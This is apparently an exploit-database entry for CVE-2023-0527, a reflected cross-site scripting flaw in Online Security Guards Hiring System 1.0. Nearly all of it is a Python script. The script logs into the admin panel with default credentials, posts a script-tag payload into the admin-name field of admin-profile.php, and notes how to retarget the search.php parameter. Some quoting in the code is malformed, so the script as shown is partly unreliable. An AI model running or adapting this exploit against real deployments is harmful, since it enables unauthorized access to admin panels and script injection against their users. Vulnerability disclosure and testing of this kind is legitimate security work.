Online Security Guards Hiring System 1.0 Cross Site Scripting

#Exploit Title: Online Security Guards Hiring System 1.0 – REFLECTED XSS 
#Google Dork : NA
#Date: 23-01-2023
#Exploit Author : AFFAN AHMED
#Vendor Homepage: https://phpgurukul.com
#Software Link: https://phpgurukul.com/projects/Online-Security-Guard-Hiring-System_PHP.zip
#Version: 1.0
#Tested on: Windows 11 + XAMPP + PYTHON-3.X
#CVE : CVE-2023-0527

#NOTE: TO RUN THE PROGRAM FIRST SETUP THE CODE WITH XAMPP AND THEN RUN THE BELOW PYTHON CODE TO EXPLOIT IT
# Below code check for both the parameter /admin-profile.php and in /search.php

#POC-LINK: https://github.com/ctflearner/Vulnerability/blob/main/Online-Security-guard-POC.md


import requests 
import re 
from colorama import Fore

print(Fore.YELLOW + "######################################################################" + Fore.RESET)
print(Fore.RED + "# TITLE: Online Security Guards Hiring System v1.0" + Fore.RESET)
print(Fore.RED + "# VULNERABILITY-TYPE : CROSS-SITE SCRIPTING (XSS)" + Fore.RESET)
print(Fore.RED + "# VENDOR OF THE PRODUCT : PHPGURUKUL" + Fore.RESET)
print(Fore.RED + "# AUTHOR : AFFAN AHMED" + Fore.RESET)
print(Fore.YELLOW +"######################################################################" + Fore.RESET)

print()
print(Fore.RED+"NOTE: To RUN THE CODE JUST TYPE : python3 exploit.py"+ Fore.RESET)
print()


# NAVIGATING TO ADMIN LOGIN PAGE
Website_url = "http://localhost/osghs/admin/login.php"    # CHANGE THE URL ACCORDING TO YOUR SETUP
print(Fore.RED+"----------------------------------------------------------------------"+ Fore.RESET)
print(Fore.CYAN + "[**] Inserting the Username and Password in the Admin Login Form [**]" + Fore.RESET)
print(Fore.RED+"----------------------------------------------------------------------"+Fore.RESET)

Admin_login_credentials = {'username': 'admin', 'password': 'Test@123', 'login': ''}

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Referer': 'http://localhost/osghs/admin/login.php',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-US,en;q=0.9',
    'Connection': 'close',
    'Cookie': 'PHPSESSID=8alf0rbfjmhm3ddra7si0cv7qc',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-User': '?1',
    'Sec-Fetch-Dest': 'document'
}

response = requests.request("POST", Website_url, headers=headers, data = Admin_login_credentials)
if response.status_code == 200:
    location = re.findall(r'document.location ='(.*?)'',response.text)
    if location:
        print(Fore.GREEN + "> Login Successful into Admin Account"+Fore.RESET)
        print(Fore.GREEN + "> Popup:"+ Fore.RESET,location )
    else:
        print(Fore.GREEN + "> document.location not found"+ Fore.RESET)
else:
    print(Fore.GREEN + "> Error:", response.status_code + Fore.RESET)
print(Fore.RED+"----------------------------------------------------------------------"+ Fore.RESET)
print(Fore.CYAN + " [**] Trying XSS-PAYLOAD in Admin-Name Parameter  [**]" + Fore.RESET)


# NAVIGATING TO ADMIN PROFILE SECTION  TO UPDATE ADMIN PROFILE 
# INSTEAD OF /ADMIN-PROFILE.PHP REPLACE WITH /search.php TO FIND XSS IN SEARCH PARAMETER
Website_url= "http://localhost/osghs/admin/admin-profile.php"   # CHANGE THIS URL ACCORDING TO YOUR PREFERENCE

# FOR CHECKING XSS IN ADMIN-PROFILE USE THE BELOW PAYLOAD
# FOR CHECKING XSS IN SEARCH.PHP SECTION REPLACE EVERYTHING AND PUT searchdata=<your-xss-payload>&search=""
payload = {
    "adminname": "TESTAdmin<script>alert("From-Admin-Name")</script>",      # XSS-Payload , CHANGE THIS ACCORDING TO YOUR PREFERENCE
    "username": "admin",                                                      # THESE DETAILS ARE RANDOM , CHANGE IT TO YOUR PREFERENCE
    "mobilenumber": "8979555558",
    "email": "[email protected]",
    "submit": "",
}

# SENDING THE RESPONSE WITH POST REQUEST
response = requests.post(Website_url, headers=headers, data=payload)

print(Fore.RED+"----------------------------------------------------------------------"+ Fore.RESET)
# CHECKING THE STATUS CODE 200 AND ALSO FINDING THE SCRIPT TAG WITH THE HELP OF REGEX 
if response.status_code == 200:
    scripts = re.findall(r'<script>alert(.*?)</script>', response.text)
    print(Fore.GREEN + "> Response After Executing the Payload at adminname parameter : "+ Fore.RESET) 
    print(Fore.GREEN+">"+Fore.RESET,scripts)
exploit.py
Displaying exploit.py.